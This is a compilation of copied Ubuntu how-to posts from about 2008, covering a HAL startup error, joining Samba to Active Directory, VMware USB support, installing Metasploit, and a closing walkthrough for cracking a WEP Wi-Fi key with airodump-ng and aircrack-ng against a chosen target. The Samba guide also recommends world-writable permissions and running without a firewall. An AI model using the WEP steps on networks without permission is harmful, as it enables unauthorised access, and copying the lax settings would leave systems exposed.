Problem with HAL

source:http://www.teknopipo.nl/telco/files/tag-ubuntu.html
=================================
HAL bug in Ubuntu
18/05/08 18:50 Filed in: network configuration
This weekend I finally pulled myself together and upgraded my home server to Ubuntu 8.04, also known as Hardy Hudson. After a seemingly painless upgrade process, I rebooted and logged in, and the system presented me with the following error message:

Internal error: HAL Failed to initialize

Annoying as this message may be, the biggest problem was that Hardy would no longer mount any of my external drives. After nosing around on the web, I've seen several suggested solutions, varying from tweaking etc/init.d scripts, reconfiguring HAL to completely reinstalling Ubuntu. The problem also occurs on earlier kernels. If I had to guess, I'd say the error is somehow related to the problems I've been having with an external USB drive from Freecom (400GB). Basicly I've been repartitioning and reformatting that thing in every format imaginable, but I can't seem to get it to behave properly... HAL means Hardware Abstraction Layer, and most people I've seen reporting the above error have some kind of issue with a faulty DVD drive that fails to mount, for example.

Of course the first thing I tried was to remove the external USB drive and reboot to see if that solved anything, and it didn't. Maybe my buggy drive messed up some configuration file or something, so I then tried the suggested solution to reinstall HAL which seemed to solve the problem to some extent. I no longer got the error, but my desktop failed to initialize properly, I was just getting a blank screen and a task bar. And after a reboot the error was back again, so not much luck there.

Another suggested solution was to sudo mkdir /var/run/PolicyKit, whatever the hell that means. I checked to see if that dir was there, and it was, so no need to run the mkdir.... but what I did notice, was that its ownership was set to polkituser:polkituser. After typing groups in a terminal, I noticed that my userid was not in the polkituser group, so I figured that was the problem. And it was. After I typed...

sudo usermod -a -G polkituser [myuserid]

...I relogged in and everything was working flawlessly. Don't forget the -a option or you'll fuck up your system. Out.

As of late I have been having some trouble with HAL(Hardware Abstraction Layer). I
finally found the solution and decided I would post it here in case anyone else my need it. The symptoms of this problem are simple. When Gnome boots up you get an error stating “failed to initialize HAL”. There are many problems that can cause this error but the one that I keep running into was tricky to find but extremely easy to resolve.

It boils down to a boot order issue where dbus and HAL are scheduled to boot at the same time. The problem with this is that often HAL requires dbus to be up and running. To figure out if this is the specific cause you can take a look at the /etc/rc2.d/ folder. You simply want to make sure HAL’s three digit prefix comes after dbus’s. For example “S12dbus” followed by “S13hal”. If it doesn’t simply execute something like the following command in the terminal. Make sure you change it to match your system.

sudo mv /etc/rc2.d/S12hal /etc/rc2.d/S13hal

If you have ran into this problem I hope this will help you get it fixed.

How to join Ubuntu/Samba to a Windows 2003 Active Directory domain

SOURCE: http://www.onnoot.com/wiki/how_to_join_ubuntu_samba_to_a_windows_2003_active_directory_domain
==================
How to join Ubuntu/Samba to a Windows 2003 Active Directory domain

Ingredients:

*
A Windows network with an Active Directory server (like Windows Server 2003)
*
Ubuntu Linux 5.10 installed
*
TCP/IP setup properly (the Linux machine taking its address by DHCP from the Windows server)
*
No firewall yet on the Linux machine! First get it working, then secure it.

More info:

*
http://us1.samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.html
*
http://justlinux.com/forum/archive/index.php/t-118512.html

1. Installing

We assume that Ubuntu Linux has been installed.

Install the following packages with the Synaptic Package Manager. You may need to specify “universe” as an extra source for packages.

*
Samba (version 3):
o
samba
o
samba-common (installed by default)
o
smbclient (installed by default)
o
winbind
*
Kerberos:
o
krb5-config
o
krb5-user
*
... and any packages that might be needed to meet dependencies.

2. Edit configuration files

Edit the following configuration files. We assume the following:

*
The local DNS domain is mycompany.local
*
The Windows 2003 server is obelix.mycompany.local

/etc/samba/smb.conf

[global]
security = ADS
realm = MYCOMPANY.LOCAL
workgroup = mycompany
password server = obelix.mycompany.local
wins support = no
wins server = 10.0.20.202
invalid users = root
# Winbind settings
idmap uid = 10000-20000
idmap gid = 10000-20000
# For testing
debuglevel = 2

# A shared folder for testing purposes
[SharedFolder]
path = /home/onno2/Shared_Folder
available = yes
public = yes
writable = yes
force create mode = 0666
force directory mode = 0777

Make sure the path (/home/onno2/Shared_Folder or whatever you choose) exists and that the rights are set properly (chmod 777 or something similar)
/etc/krb5.conf

[libdefaults]
default_realm = MYCOMPANY.LOCAL
krb4_config = /etc/krb.conf
krb4_realms = /etc/krb.realms
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
# The following libdefaults parameters are only for Heimdal Kerberos.
v4_instance_resolve = false
v4_name_convert = {
host = {
rcmd = host
ftp = ftp
}
plain = {
something = something-else
}
}
[realms]
MYCOMPANY.LOCAL = {
kdc = obelix.mycompany.local
admin_server = obelix.mycompany.local
}
[domain_realm]
.mycompany.local = OBELIX.MYCOMPANY.LOCAL
mycompany.local = OBELIX.MYCOMPANY.LOCAL
[login]
krb4_convert = true
krb4_get_tickets = true

/etc/nsswitch

The only change here was adding winbind twice.

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: compat winbind
group: compat winbind
shadow: compat
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis

3. Start or restart services

/etc/init.d/samba restart
/etc/init.d/winbind restart
4. Join domain

net ads join -U administrator If this doesn’t work, check the logs in Linux (/var/log/samba/*) and Windows.
5. Test your setup

testparm to check if your smb.conf has a correct syntax.
kinit onno@MYCOMPANY.LOCAL test if kerberos works properly.
wbinfo -u should give a list of users.
wbinfo -g should give a list of groups.
getent passwd should give a list of users in the passwd style.
getent group should give a list of groups.
ls -ltr /var/log/samba gives a list of log files, sorted by time of last change.
smbclient -L -U onno should give you a list of available shares.

If this all works properly, try to access the share (/home/onno2/Shared_Folder) from any Windows machine in the domain by using network neighbourhood

Enabling USB support for VMware Server in Hardy Heron

SOURCE: http://maketecheasier.com/enabling-usb-support-for-vmware-server-in-hardy-heron/2008/05/05
===============================================

After installing VMware Server on Hardy heron, if you find that your virtual machine cannot detect any USB devices on the host, that is because Ubuntu has removed the support for /proc/bus/usb/*.

The following is the way to solve this issue:

Open up a terminal and type

gksu gedit /etc/init.d/mountdevsubfs.sh

In the window that pop up, scroll to line 40 and look for the following code:

#mkdir -p /dev/bus/usb/.usbfs
#domount usbfs "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644
#ln -s .usbfs/devices /dev/bus/usb/devices
#mount --rbind /dev/bus/usb /proc/bus/usb

Uncomment them by removing the ‘#’ infront of each line of the code.

Save and exit.

Restart the module

/etc/init.d/mountdevsubfs.sh start

Done. Your virtual machine should be able to detect USB device now.

Installing Metasploit

Installing Metasploit

Before installing metasploit we need to install the following packages:

$ sudo apt-get install ruby libruby rdoc

$ sudo apt-get install libyaml-ruby

$ sudo apt-get install libzlib-ruby

$ sudo apt-get install libopenssl-ruby

$ sudo apt-get install libdl-ruby

$ sudo apt-get install libreadline-ruby

$ sudo apt-get install libiconv-ruby

$ sudo apt-get install rubygems

Once the dependencies have been installed, we are ready to install metasploit.

We now need to download the metasploit 3.0. Use the following link for download:

http://framework.metasploit.com/msf/downloader/?id=framework-3.0.tar.gz

Accept the license.

The location (for download) is not important. After the download is complete we need to untar it:

$ tar -xvzf framework-3.0.tar.gz


Updating Metasploit

Before we run metasploit, its a good idea to update its database. Change to metasploit folder:

$ cd metasploit-3.0

Update:

$ svn update

Note: in case you don't have subversion installed use the following command:

$ sudo apt-get install subversion


Running Metasploit

To run metasploit use the following command:

$ ./msfconsole

Howto crack (or hack) a wireless network with Wired Equivalent Privacy (WEP)

Howto crack (or hack) a wireless network with Wired Equivalent Privacy (WEP)

September 27, 2006 at 20:22 · Tags: Crack, d-link, hack, linksys, Linux, OSX, security, Vista, WEP, Windows, wireless networking, xp

Aircrack-ng logo

WEP was intended to provide comparable confidentiality to a traditional wired network (in particular it does not protect users of the network from each other), hence the name. Several serious weaknesses were identified by cryptanalysts — any WEP key can be cracked with readily available software in two minutes or less — and WEP was superseded by Wi-Fi Protected Access (WPA) in 2003, and then by the full IEEE 802.11i standard (also known as WPA2) in 2004. Despite the weaknesses, WEP provides a level of security that can deter casual snooping. Wikipedia

It’s fairly easy to crack a WEP encrypted wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast to crack or hack.

Install aircrack-ng - on Debian Etch by:

sudo apt-get install aircrack-ng

Then start aircrack-ng to look for wireless networks:

sudo airodump-ng eth1

Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1

Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.
